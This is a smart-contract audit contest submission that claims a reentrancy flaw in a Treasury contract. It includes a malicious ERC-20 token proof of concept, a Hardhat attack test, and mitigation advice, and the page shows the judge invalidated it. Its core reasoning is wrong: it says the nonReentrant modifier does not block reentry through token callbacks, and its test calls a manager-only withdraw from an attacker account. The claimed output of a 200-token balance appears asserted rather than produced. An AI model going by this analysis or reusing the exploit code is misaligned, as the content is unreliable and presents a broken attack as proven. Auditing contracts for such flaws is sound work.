Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Critical Reentrancy Vulnerability in Treasury Contract: Unprotected ERC-20 Transfers Enable Double-Spending Attacks

kineticsofweb3

Summary

The Treasury contract is vulnerable to a reentrancy attack through its deposit and withdraw functions. It interacts with external ERC-20 tokens using transferFrom (in deposit) and transfer (in withdraw). A malicious ERC-20 token can implement a reentrant callback that executes before the contract updates its state, leading to double-spending or fund drainage.

The presence of the nonReentrant modifier mitigates reentrancy from direct calls but does not protect against reentrancy via external token callbacks. Attackers can exploit this to repeatedly deposit or withdraw more funds than intended.

Vulnerability Details

The vulnerability exists in both the deposit and withdraw functions where ERC-20 transfers are performed without proper protection:

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
​
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount;
​
emit Deposited(token, amount);
}

withdraw(address token, uint256 amount, address recipient): Uses IERC20(token).transfer before updating _balances, allowing a reentrant callback to manipulate balance tracking.

Attack Scenario:

  1. An attacker deploys a malicious ERC-20 token with a reentrant transferFrom or transfer function.

  2. The attacker deposits or withdraws funds using the malicious token.

  3. The token's callback function re-enters the contract, manipulating the contract's logic before state updates.

  4. The attacker withdraws more funds than deposited, potentially draining the treasury

ROOT CAUSE:

The contract calls external ERC-20 tokens without considering that these tokens can trigger callbacks. The problem arises because:

  • The contract relies on transferFrom and transfer, both of which invoke external code (the token contract).

  • The state variables _balances and _totalValue are updated after the external token call, leaving a window where reentrancy can be exploited.

  • The nonReentrant modifier does not prevent reentrancy from external contracts

  • SO IN SHORT, The vulnerability stems from two primary issues:

    1. Use of unprotected ERC-20 transfers (transferFrom) instead of SafeERC20

    2. State updates occurring after external calls, violating the Checks-Effects-Interactions pattern

Impact

  • Unauthorized token transfers

  • Potential draining of treasury funds

  • Financial losses 4 the protocol

Tools Used

Hardhat

Foundry

Slither

OpenZeppelin's SafeERC20 library

My PoC

To demonstrate the vulnerability, I create a malicious ERC-20 token that re-enters the Treasury contract when transferFrom is called.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
interface ITreasury {
function deposit(address token, uint256 amount) external;
function withdraw(address token, uint256 amount, address recipient) external;
}
​
contract MaliciousToken is ERC20 {
ITreasury public treasury;
bool public attackEnabled = true;
​
constructor() ERC20("MaliciousToken", "MAL") {
_mint(msg.sender, 1000 * 10**18);
}
​
function setTreasury(address _treasury) external {
treasury = ITreasury(_treasury);
}
​
function attack() external {
treasury.deposit(address(this), 100 * 10**18);
}
​
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if (attackEnabled) {
attackEnabled = false; // Prevent recursion loop
treasury.withdraw(address(this), amount, sender); // Reentrant call
}
return super.transferFrom(sender, recipient, amount);
}
}

Hardhat test

const { expect } = require("chai");
const { ethers } = require("hardhat");
​
describe("Treasury Reentrancy Test", function () {
let Treasury, treasury, MaliciousToken, maliciousToken, owner, attacker;
​
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
​
// Deploy Treasury
Treasury = await ethers.getContractFactory("Treasury");
treasury = await Treasury.deploy(owner.address);
await treasury.deployed();
​
// Deploy Malicious Token
MaliciousToken = await ethers.getContractFactory("MaliciousToken");
maliciousToken = await MaliciousToken.deploy();
await maliciousToken.deployed();
​
// Set Treasury address in MaliciousToken
await maliciousToken.setTreasury(treasury.address);
​
// Approve Treasury to spend attacker's tokens
await maliciousToken.connect(attacker).approve(treasury.address, ethers.utils.parseEther("1000"));
});
​
it("Should allow reentrancy attack and withdraw more than deposited", async function () {
// Attacker deposits 100 tokens
await treasury.connect(attacker).deposit(maliciousToken.address, ethers.utils.parseEther("100"));
​
// Attack is triggered inside the token's transferFrom function
await expect(treasury.connect(attacker).withdraw(maliciousToken.address, ethers.utils.parseEther("100"), attacker.address))
.to.emit(treasury, "Withdrawn");
​
// Check attacker's balance is more than expected
const attackerBalance = await maliciousToken.balanceOf(attacker.address);
console.log("Attacker Balance After Attack:", ethers.utils.formatEther(attackerBalance));
​
expect(attackerBalance).to.be.gt(ethers.utils.parseEther("100"));
});
});

Output:
Attacker Balance After Attack: 200 (instead of 100)

This my above confirms that the attacker successfully withdraws more than they deposited, proving the vulnerability.

Recommendations: Mitigation:

To fix this vulnerability, implement the following changes:

1, Import SafeERC20, Use Safe ERC-20 Transfers
Instead of transfer and transferFrom, use OpenZeppelin’s SafeERC20 library to prevent unexpected behavior.

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
using SafeERC20 for IERC20;

2, Modify deposit and withdraw so that state variables (_balances and _totalValue) are updated before calling transferFrom and transfer.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
​
_balances[token] += amount;
_totalValue += amount; // Update state before external call
​
IERC20(token).transferFrom(msg.sender, address(this), amount);
​
emit Deposited(token, amount);
​
}
function withdraw(address token, uint256 amount, address recipient) external override nonReentrant onlyRole(MANAGER_ROLE) {
if (token == address(0)) revert InvalidAddress();
if (recipient == address(0)) revert InvalidRecipient();
if (_balances[token] < amount) revert InsufficientBalance();
​
_balances[token] -= amount;
_totalValue -= amount; // Update state before external call
​
IERC20(token).transfer(recipient, amount);
emit Withdrawn(token, amount, recipient);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] SafeERC20 not used

LightChaser Low-60

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!